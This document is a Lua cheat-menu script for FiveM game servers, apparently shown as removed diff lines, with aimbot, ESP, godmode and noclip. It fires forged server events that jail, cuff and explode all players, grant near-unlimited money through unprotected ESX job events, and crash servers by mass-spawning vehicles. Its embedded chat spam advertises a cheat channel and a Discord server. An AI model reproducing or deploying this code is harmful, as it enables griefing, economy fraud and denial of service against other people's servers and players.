- disposeFunc(iter)
- end)
- end
- function EnumerateObjects()
- return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
- end
- function EnumeratePeds()
- return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
- end
- function EnumerateVehicles()
- return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
- end
- function EnumeratePickups()
- return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
- end
- function RequestControl(entity)
- local Waiting = 0
- NetworkRequestControlOfEntity(entity)
- while not NetworkHasControlOfEntity(entity) do
- Waiting = Waiting + 100
- Citizen.Wait(100)
- if Waiting > 5000 then
- drawNotification("Hung for 5 seconds, killing to prevent issues...")
- end
- end
- end
- function getEntity(player)
- local result, entity = GetEntityPlayerIsFreeAimingAt(player, Citizen.ReturnResultAnyway())
- return entity
- end
- function GetInputMode()
- return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard" or "GamePad"
- end
- function DrawSpecialText(m_text, showtime)
- SetTextEntry_2("STRING")
- AddTextComponentString(m_text)
- DrawSubtitleTimed(showtime, 1)
- end
- -- MAIN CODE --
- ShowHudComponentThisFrame(14)
- Citizen.CreateThread(function()
- local headId = {}
- while true do
- Citizen.Wait(1)
- if playerBlips then
- -- show blips
- for id = 0, 128 do
- if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~= GetPlayerPed(-1) then
- ped = GetPlayerPed(id)
- blip = GetBlipFromEntity(ped)
- -- HEAD DISPLAY STUFF --
- -- Create head display (this is safe to be spammed)
- headId[id] = CreateMpGamerTag(ped, GetPlayerName( id ), false, false, "", false)
- wantedLvl = GetPlayerWantedLevel(id)
- -- Wanted level display
- if wantedLvl then
- SetMpGamerTagVisibility(headId[id], 7, true) -- Add wanted sprite
- SetMpGamerTagWantedLevel(headId[id], wantedLvl) -- Set wanted number
- else
- SetMpGamerTagVisibility(headId[id], 7, false)
- end
- -- Speaking display
- if NetworkIsPlayerTalking(id) then
- SetMpGamerTagVisibility(headId[id], 9, true) -- Add speaking sprite
- else
- SetMpGamerTagVisibility(headId[id], 9, false) -- Remove speaking sprite
- end
- -- BLIP STUFF --
- if not DoesBlipExist(blip) then -- Add blip and create head display on player
- blip = AddBlipForEntity(ped)
- SetBlipSprite(blip, 1)
- ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
- else -- update blip
- veh = GetVehiclePedIsIn(ped, false)
- blipSprite = GetBlipSprite(blip)
- if not GetEntityHealth(ped) then -- dead
- if blipSprite ~= 274 then
- SetBlipSprite(blip, 274)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif veh then
- vehClass = GetVehicleClass(veh)
- vehModel = GetEntityModel(veh)
- if vehClass == 15 then -- Helicopters
- if blipSprite ~= 422 then
- SetBlipSprite(blip, 422)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehClass == 8 then -- Motorcycles
- if blipSprite ~= 226 then
- SetBlipSprite(blip, 226)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehClass == 16 then -- Plane
- if vehModel == GetHashKey("besra") or vehModel == GetHashKey("hydra") or vehModel == GetHashKey("lazer") then -- Jets
- if blipSprite ~= 424 then
- SetBlipSprite(blip, 424)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif blipSprite ~= 423 then
- SetBlipSprite(blip, 423)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehClass == 14 then -- Boat
- if blipSprite ~= 427 then
- SetBlipSprite(blip, 427)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("insurgent") or vehModel == GetHashKey("insurgent2") or vehModel == GetHashKey("insurgent3") then -- Insurgent, Insurgent Pickup & Insurgent Pickup Custom
- if blipSprite ~= 426 then
- SetBlipSprite(blip, 426)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("limo2") then -- Turreted Limo
- if blipSprite ~= 460 then
- SetBlipSprite(blip, 460)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("rhino") then -- Tank
- if blipSprite ~= 421 then
- SetBlipSprite(blip, 421)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("trash") or vehModel == GetHashKey("trash2") then -- Trash
- if blipSprite ~= 318 then
- SetBlipSprite(blip, 318)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("pbus") then -- Prison Bus
- if blipSprite ~= 513 then
- SetBlipSprite(blip, 513)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("seashark") or vehModel == GetHashKey("seashark2") or vehModel == GetHashKey("seashark3") then -- Speedophiles
- if blipSprite ~= 471 then
- SetBlipSprite(blip, 471)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("cargobob") or vehModel == GetHashKey("cargobob2") or vehModel == GetHashKey("cargobob3") or vehModel == GetHashKey("cargobob4") then -- Cargobobs
- if blipSprite ~= 481 then
- SetBlipSprite(blip, 481)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("technical") or vehModel == GetHashKey("technical2") or vehModel == GetHashKey("technical3") then -- Technical
- if blipSprite ~= 426 then
- SetBlipSprite(blip, 426)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("taxi") then -- Cab/ Taxi
- if blipSprite ~= 198 then
- SetBlipSprite(blip, 198)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif vehModel == GetHashKey("fbi") or vehModel == GetHashKey("fbi2") or vehModel == GetHashKey("police2") or vehModel == GetHashKey("police3") -- Police Vehicles
- or vehModel == GetHashKey("police") or vehModel == GetHashKey("sheriff2") or vehModel == GetHashKey("sheriff")
- or vehModel == GetHashKey("policeold2") or vehModel == GetHashKey("policeold1") then
- if blipSprite ~= 56 then
- SetBlipSprite(blip, 56)
- ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
- end
- elseif blipSprite ~= 1 then -- default blip
- SetBlipSprite(blip, 1)
- ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
- end
- -- Show number in case of passangers
- passengers = GetVehicleNumberOfPassengers(veh)
- if passengers then
- if not IsVehicleSeatFree(veh, -1) then
- passengers = passengers + 1
- end
- ShowNumberOnBlip(blip, passengers)
- else
- HideNumberOnBlip(blip)
- end
- else
- -- Remove leftover number
- HideNumberOnBlip(blip)
- if blipSprite ~= 1 then -- default blip
- SetBlipSprite(blip, 1)
- ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
- end
- end
- SetBlipRotation(blip, math.ceil(GetEntityHeading(veh))) -- update rotation
- SetBlipNameToPlayerName(blip, id) -- update blip name
- SetBlipScale(blip, 0.85) -- set scale
- -- set player alpha
- if IsPauseMenuActive() then
- SetBlipAlpha( blip, 255 )
- else
- x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(id), true))
- distance = (math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
- -- Probably a way easier way to do this but whatever im an idiot
- if distance < 0 then
- distance = 0
- elseif distance > 255 then
- distance = 255
- end
- SetBlipAlpha(blip, distance)
- end
- end
- end
- end
- else
- for id = 0, 128 do
- ped = GetPlayerPed(id)
- blip = GetBlipFromEntity(ped)
- if DoesBlipExist(blip) then -- Removes blip
- RemoveBlip(blip)
- end
- if IsMpGamerTagActive(headId[id]) then
- RemoveMpGamerTag(headId[id])
- end
- end
- end
- end
- end)
- Citizen.CreateThread(
- function()
- while Enabled do
- Citizen.Wait(0)
- SetPlayerInvincible(PlayerId(), Godmode)
- SetEntityInvincible(PlayerPedId(), Godmode)
- if SuperJump then
- SetSuperJumpThisFrame(PlayerId())
- end
- if ePunch then
- SetExplosiveMeleeThisFrame(PlayerId())
- end
- if InfStamina then
- RestorePlayerStamina(PlayerId(), 1.0)
- end
- if Invisible then
- SetEntityVisible(GetPlayerPed(-1), false, 0)
- else
- SetEntityVisible(GetPlayerPed(-1), true, 0)
- if(SpeedDemon) then
- if IsPedSittingInAnyVehicle(ped) then
- local veh = GetVehiclePedIsUsing(ped)
- if veh ~= nil then
- SetVehicleHandlingFloat(veh, "CHandlingData", "fMass", 15000000.0);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDragCoeff", 10.0);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDriveMaxFlatVel", 1000.0);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fDriveBiasFront", 0.50);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMax", 4.5);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMin", 4.38);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fBrakeForce", 5.00);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fEngineDamageMult", 0.50);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fSteeringLock", 65.00);
- SetVehicleHandlingFloat(veh, "CHandlingData", "fRollCentreHeightFront", 0.80);
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(ped, false), 12.0)
- SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(ped, false), 6.0);
- end
- end
- end
- end
- if VehicleGun then
- local VehicleGunVehicle = "Freight"
- local playerPedPos = GetEntityCoords(GetPlayerPed(-1), true)
- if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
- drawNotification("~g~Vehicle Gun Enabled!~n~~w~Use The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!")
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_APPISTOL"), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_APPISTOL"), 999999)
- if (GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey("WEAPON_APPISTOL")) then
- if IsPedShooting(GetPlayerPed(-1)) then
- while not HasModelLoaded(GetHashKey(VehicleGunVehicle)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(VehicleGunVehicle))
- end
- local veh = CreateVehicle(GetHashKey(VehicleGunVehicle), playerPedPos.x + (5 * GetEntityForwardX(GetPlayerPed(-1))), playerPedPos.y + (5 * GetEntityForwardY(GetPlayerPed(-1))), playerPedPos.z + 2.0, GetEntityHeading(GetPlayerPed(-1)), true, true)
- SetEntityAsNoLongerNeeded(veh)
- SetVehicleForwardSpeed(veh, 150.0)
- end
- end
- end
- end
- if DeleteGun then
- local gotEntity = getEntity(PlayerId())
- if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
- drawNotification("~g~Delete Gun Enabled!~n~~w~Use The ~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To Delete!")
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999)
- if (GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey("WEAPON_PISTOL")) then
- if IsPlayerFreeAiming(PlayerId()) then
- if IsEntityAPed(gotEntity) then
- if IsPedInAnyVehicle(gotEntity, true) then
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
- SetEntityAsMissionEntity(gotEntity, 1, 1)
- DeleteEntity(gotEntity)
- drawNotification("~g~Deleted!")
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(gotEntity, 1, 1)
- DeleteEntity(gotEntity)
- drawNotification("~g~Deleted!")
- end
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(gotEntity, 1, 1)
- DeleteEntity(gotEntity)
- drawNotification("~g~Deleted!")
- end
- end
- end
- end
- end
- end
- if destroyvehicles then
- for vehicle in EnumerateVehicles() do
- if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) then
- NetworkRequestControlOfEntity(vehicle)
- SetVehicleUndriveable(vehicle,true)
- SetVehicleEngineHealth(vehicle, 100)
- end
- end
- end
- if freezeall then
- for i = 0, 128 do
- TriggerServerEvent("OG_cuffs:cuffCheckNearest", GetPlayerServerId(i))
- TriggerServerEvent("CheckHandcuff", GetPlayerServerId(i))
- TriggerServerEvent('cuffServer', GetPlayerServerId(i))
- TriggerServerEvent("cuffGranted", GetPlayerServerId(i))
- TriggerServerEvent("police:cuffGranted", GetPlayerServerId(i))
- TriggerServerEvent('esx_handcuffs:cuffing', GetPlayerServerId(i))
- TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
- end
- end
- if explodevehicles then
- for vehicle in EnumerateVehicles() do
- if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
- NetworkRequestControlOfEntity(vehicle)
- NetworkExplodeVehicle(vehicle, true, true, false)
- end
- end
- end
- if esp then
- for i = 0, 300 do
- if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
- local ra = RGBRainbow(1.0)
- local pPed = GetPlayerPed(i)
- local cx, cy, cz = table.unpack(GetEntityCoords(PlayerPedId()))
- local x, y, z = table.unpack(GetEntityCoords(pPed))
- local message =
- "~g~" ..
- GetPlayerName(i) ..
- "\n~b~ Dist: " .. math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, false), 1)
- DrawText3D(x, y, z + 1.0, message, 255, 255, 255)
- LineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
- LineOneEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
- LineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
- LineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
- LineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
- LineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
- LineFourBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
- TLineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
- TLineOneEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
- TLineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
- TLineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
- TLineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
- TLineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
- TLineFourBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
- ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
- ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
- ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
- ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
- ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
- ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
- ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
- ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
- end
- end
- end
- if supergrip then
- SetHandlingInt(GetVehiclePedIsUsing(PlayerPedId()), CHandlingData, fTractionCurveMin, 1000000)
- end
- if VehGod and IsPedInAnyVehicle(PlayerPedId(), true) then
- SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId()), true)
- end
- if blowall then
- for i = 0, 300 do
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 2, 100000.0, true, false, 100000.0)
- end
- end
- if banallusers then
- for i = 0, 450 do
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 3000)
- TriggerServerEvent("esx_jailler:sendToJail", GetPlayerServerId(i), 59999, "Catroleplay.com rafon pamietaj kc", 997)
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)", 300)
- TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
- TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 50000)
- TriggerServerEvent("8321hiue89js", GetPlayerServerId(i), 5007, "xCat jebac wasz antycheat ;) ONLY CatROLEPLAY.COM", 32532532, securityToken)
- TriggerServerEvent("esx_jailer:sendToJailCatfrajerze", GetPlayerServerId(i), 300000, "xCat geng, jebac fivem poteznie", 500324532)
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
- TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "dude weed")
- TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .." xCat on YOUTUBE.")
- end
- end
- if esxdestroy then
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
- TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
- TriggerServerEvent('esx_carthief:pay', 9999999999)
- TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
- TriggerServerEvent('esx_pizza:pay', 9999999999)
- TriggerServerEvent('esx_ranger:pay', 9999999999)
- TriggerServerEvent('esx_garbagejob:pay', 9999999999)
- TriggerServerEvent('esx_truckerjob:pay', 9999999999)
- TriggerServerEvent('AdminMenu:giveBank', 9999999999)
- TriggerServerEvent('AdminMenu:giveCash', 9999999999)
- TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
- TriggerServerEvent('esx_banksecurity:pay', 9999999999)
- TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
- for bD = 5, 5 do
- TriggerServerEvent(
- '_chat:messageEntered',
- 'Maestro',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Maestro 1.3 ~ https://discord.gg/DAhzN6q'
- )
- end
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx_billing:sendBill',
- GetPlayerServerId(i),
- 'Purposeless',
- 'Maestro 1.3 ~ https://discord.gg/DAhzN6q',
- 43161337
- )
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
- TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
- end
- end
- )
- end
- if servercrasher then
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for i = 0, 128 do
- for ak = 100, 150 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true)
- end
- end
- end
- )
- end
- local function fv()
- local cb = KeyboardInput('Enter Vehicle Spawn Name', '', 100)
- local cw = KeyboardInput('Enter Vehicle Licence Plate', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(
- GetHashKey(cb),
- GetEntityCoords(PlayerPedId(-1)),
- GetEntityHeading(PlayerPedId(-1)),
- true,
- true
- )
- SetVehicleNumberPlateText(veh, cw)
- local cx = ESX.Game.GetVehicleProperties(veh)
- TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
- av('~g~~h~Success', false)
- else
- av('~b~~h~Model is not valid !', true)
- end
- end
- if nuke then
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for bD = 5, 5 do
- TriggerServerEvent(
- '_chat:messageEntered',
- 'Maestro 1.3',
- {
- 0,
- 0,
- 0
- },
- '^' .. bD .. 'Maestro 1.3 โ https://discord.gg/DAhzN6q'
- )
- end
- for i = 0, 128 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
- end
- end
- )
- end
- if crosshair5 then
- ShowHudComponentThisFrame(14)
- end
- if crosshair2 then
- bz('~r~+', 0.495, 0.484)
- end
- if VehSpeed and IsPedInAnyVehicle(PlayerPedId(), true) then
- if IsControlPressed(0, 118) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 70.0)
- elseif IsControlPressed(0, 109) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 0.0)
- end
- end
- if TriggerBot then
- local dp, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1), Entity)
- if dp then
- if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
- ShootPlayer(Entity)
- end
- end
- end
- if AimBot then
- if IsPlayerFreeAiming(PlayerId()) then
- local TargetPed = getEntity(PlayerId())
- local TargetPos = GetEntityCoords(TargetPed)
- local Exist = DoesEntityExist(TargetPed)
- local Dead = IsPlayerDead(TargetPed)
- if Exist and not Dead and IsEntityAPed(TargetPed) then
- local OnScreen, ScreenX, ScreenY = World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
- if IsEntityVisible(TargetPed) and OnScreen then
- if HasEntityClearLosToEntity(PlayerPedId(), TargetPed, 100000) then
- local TargetCoords = GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
- SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
- SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
- end
- end
- end
- end
- end
- DisplayRadar(true)
- if RainbowVeh then
- local ra = RGBRainbow(1.0)
- SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r, ra.g, ra.b)
- SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r, ra.g, ra.b)
- end
- if Noclip then
- local currentSpeed = 2
- local noclipEntity =
- IsPedInAnyVehicle(PlayerPedId(), false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
- FreezeEntityPosition(PlayerPedId(), true)
- SetEntityInvincible(PlayerPedId(), true)
- local newPos = GetEntityCoords(entity)
- DisableControlAction(0, 32, true) --MoveUpOnly
- DisableControlAction(0, 268, true) --MoveUp
- DisableControlAction(0, 31, true) --MoveUpDown
- DisableControlAction(0, 269, true) --MoveDown
- DisableControlAction(0, 33, true) --MoveDownOnly
- DisableControlAction(0, 266, true) --MoveLeft
- DisableControlAction(0, 34, true) --MoveLeftOnly
- DisableControlAction(0, 30, true) --MoveLeftRight
- DisableControlAction(0, 267, true) --MoveRight
- DisableControlAction(0, 35, true) --MoveRightOnly
- DisableControlAction(0, 44, true) --Cover
- DisableControlAction(0, 20, true) --MultiplayerInfo
- local yoff = 0.0
- local zoff = 0.0
- if GetInputMode() == "MouseAndKeyboard" then
- if IsDisabledControlPressed(0, 32) then
- yoff = 0.5
- end
- if IsDisabledControlPressed(0, 33) then
- yoff = -0.5
- end
- if IsDisabledControlPressed(0, 34) then
- SetEntityHeading(PlayerPedId(), GetEntityHeading(PlayerPedId()) + 3.0)
- end
- if IsDisabledControlPressed(0, 35) then
- SetEntityHeading(PlayerPedId(), GetEntityHeading(PlayerPedId()) - 3.0)
- end
- if IsDisabledControlPressed(0, 44) then
- zoff = 0.21
- end
- if IsDisabledControlPressed(0, 20) then
- zoff = -0.21
- end
- end
- newPos =
- GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0, yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
- local heading = GetEntityHeading(noclipEntity)
- SetEntityVelocity(noclipEntity, 0.0, 0.0, 0.0)
- SetEntityRotation(noclipEntity, 0.0, 0.0, 0.0, 0, false)
- SetEntityHeading(noclipEntity, heading)
- SetEntityCollision(noclipEntity, false, false)
- SetEntityCoordsNoOffset(noclipEntity, newPos.x, newPos.y, newPos.z, true, true, true)
- FreezeEntityPosition(noclipEntity, false)
- SetEntityInvincible(noclipEntity, false)
